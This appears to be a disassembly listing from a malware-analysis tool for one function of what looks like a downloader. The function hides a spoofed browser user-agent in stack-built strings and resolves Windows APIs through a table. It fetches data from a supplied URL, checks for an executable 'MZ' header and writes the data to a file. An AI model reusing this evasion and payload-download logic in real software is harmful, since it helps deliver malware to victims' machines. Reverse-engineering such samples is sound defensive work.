Function at 0x4015f0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x498
push ebx
mov eax, dword [esp + 0x4a8]
push ebp
mov ecx, dword [0x40cad0]
xor ebp, ebp
push esi
push ebp
push 0x80
push 4
push ebp
push 3
push 0x40000000
push eax
call dword [ecx + 0x108]
cmp eax, 0xffffffff
mov dword [esp + 0x98], eax
jne 0x401639
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x498
ret 0xc
mov cl, 0x65
mov al, 0x20
mov bl, 0x69
mov dl, 0x2e
mov byte [esp + 0xc], 0x55
mov byte [esp + 0xd], 0x73
mov byte [esp + 0xe], cl
mov byte [esp + 0xf], 0x72
mov byte [esp + 0x10], 0x2d
mov byte [esp + 0x11], 0x41
mov byte [esp + 0x12], 0x67
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x6e
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], 0x3a
mov byte [esp + 0x17], al
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x7a
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x2f
mov byte [esp + 0x20], 0x35
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x30
mov byte [esp + 0x23], al
mov byte [esp + 0x24], 0x28
mov byte [esp + 0x25], 0x57
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x77
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x3b
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x55
mov byte [esp + 0x2f], 0x3b
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x57
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x64
mov byte [esp + 0x35], 0x6f
mov byte [esp + 0x36], 0x77
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x4e
mov byte [esp + 0x3a], 0x54
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], 0x35
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x31
mov byte [esp + 0x3f], 0x3b
mov byte [esp + 0x40], al
mov byte [esp + 0x41], cl
mov byte [esp + 0x42], 0x6e
mov byte [esp + 0x43], 0x2d
mov byte [esp + 0x44], 0x55
mov byte [esp + 0x45], 0x53
mov byte [esp + 0x46], 0x29
mov byte [esp + 0x47], al
mov byte [esp + 0x48], 0x41
mov byte [esp + 0x49], 0x70
mov byte [esp + 0x4a], 0x70
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], cl
mov byte [esp + 0x4d], 0x57
mov byte [esp + 0x4e], cl
mov byte [esp + 0x4f], 0x62
mov byte [esp + 0x50], 0x4b
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], 0x2f
mov byte [esp + 0x54], 0x35
mov byte [esp + 0x55], 0x33
mov byte [esp + 0x56], 0x34
mov byte [esp + 0x57], dl
mov byte [esp + 0x58], 0x31
push ebp
mov byte [esp + 0x7c], dl
mov byte [esp + 0x7e], dl
mov byte [esp + 0x82], dl
mov byte [esp + 0x91], dl
push ebp
mov byte [esp + 0x62], al
mov byte [esp + 0x6a], al
mov byte [esp + 0x6f], al
mov byte [esp + 0x76], al
mov byte [esp + 0x8a], al
mov eax, dword [0x40cad0]
push ebp
lea edx, [esp + 0x18]
push ebp
push edx
mov byte [esp + 0x6d], 0x36
mov byte [esp + 0x6f], 0x28
mov byte [esp + 0x70], 0x4b
mov byte [esp + 0x71], 0x48
mov byte [esp + 0x72], 0x54
mov byte [esp + 0x73], 0x4d
mov byte [esp + 0x74], 0x4c
mov byte [esp + 0x75], 0x2c
mov byte [esp + 0x77], 0x6c
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x6b
mov byte [esp + 0x7a], cl
mov byte [esp + 0x7c], 0x47
mov byte [esp + 0x7d], cl
mov byte [esp + 0x7e], 0x63
mov byte [esp + 0x7f], 0x6b
mov byte [esp + 0x80], 0x6f
mov byte [esp + 0x81], 0x29
mov byte [esp + 0x83], 0x43
mov byte [esp + 0x84], 0x68
mov byte [esp + 0x85], 0x72
mov byte [esp + 0x86], 0x6f
mov byte [esp + 0x87], 0x6d
mov byte [esp + 0x88], cl
mov byte [esp + 0x89], 0x2f
mov byte [esp + 0x8a], 0x31
mov byte [esp + 0x8b], 0x30
mov byte [esp + 0x8d], 0x30
mov byte [esp + 0x8f], 0x36
mov byte [esp + 0x90], 0x34
mov byte [esp + 0x91], 0x38
mov byte [esp + 0x93], 0x32
mov byte [esp + 0x94], 0x30
mov byte [esp + 0x95], 0x34
mov byte [esp + 0x97], 0x53
mov byte [esp + 0x98], 0x61
mov byte [esp + 0x99], 0x66
mov byte [esp + 0x9a], 0x61
mov byte [esp + 0x9b], 0x72
mov byte [esp + 0x9c], bl
mov byte [esp + 0x9d], 0x2f
mov byte [esp + 0x9e], 0x35
mov byte [esp + 0x9f], 0x33
mov byte [esp + 0xa0], 0x34
mov byte [esp + 0xa2], 0x31
mov byte [esp + 0xa3], 0x36
mov byte [esp + 0xa4], 0
call dword [eax]
mov esi, eax
cmp esi, ebp
jne 0x401942
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x498
ret 0xc
mov ecx, dword [esp + 0x4a8]
mov edx, dword [0x40cad0]
push ebp
push 0x80080000
push 0xffffffffffffffff
push ebp
push ecx
push esi
call dword [edx + 4]
mov ebx, eax
cmp ebx, ebp
jne 0x401971
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x498
ret 0xc
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xa9]
mov byte [esp + 0xa8], 0
mov dword [esp + 0x98], ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xa4], ebp
mov ebp, dword [esp + 0x4b0]
stosb byte es:[edi], al
mov dword [esp + 0xa0], 1
mov edx, dword [0x40cad0]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xa8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x98]
lea ecx, [esp + 0xa8]
push eax
push 0x400
push ecx
push ebx
call dword [edx + 8]
test ebp, ebp
mov edi, eax
je 0x4019fd
test edi, edi
je 0x4019fd
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x4019fd
cmp word [esp + 0xa8], 0x5a4d
jne 0x401a49
mov ecx, dword [esp + 0x98]
lea eax, [esp + 0xa4]
push 0
push eax
mov eax, dword [esp + 0xa4]
lea edx, [esp + 0xb0]
push ecx
mov ecx, dword [0x40cad0]
push edx
push eax
mov dword [esp + 0xb4], 0
call dword [ecx + 0xa8]
mov eax, dword [esp + 0x98]
test eax, eax
jbe 0x401a49
test edi, edi
jne 0x4019ad
mov edx, dword [esp + 0x9c]
mov eax, dword [0x40cad0]
push edx
call dword [eax + 0x100]
mov ecx, dword [0x40cad0]
push ebx
call dword [ecx + 0xc]
mov edx, dword [0x40cad0]
push esi
call dword [edx + 0xc]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x498
ret 0xc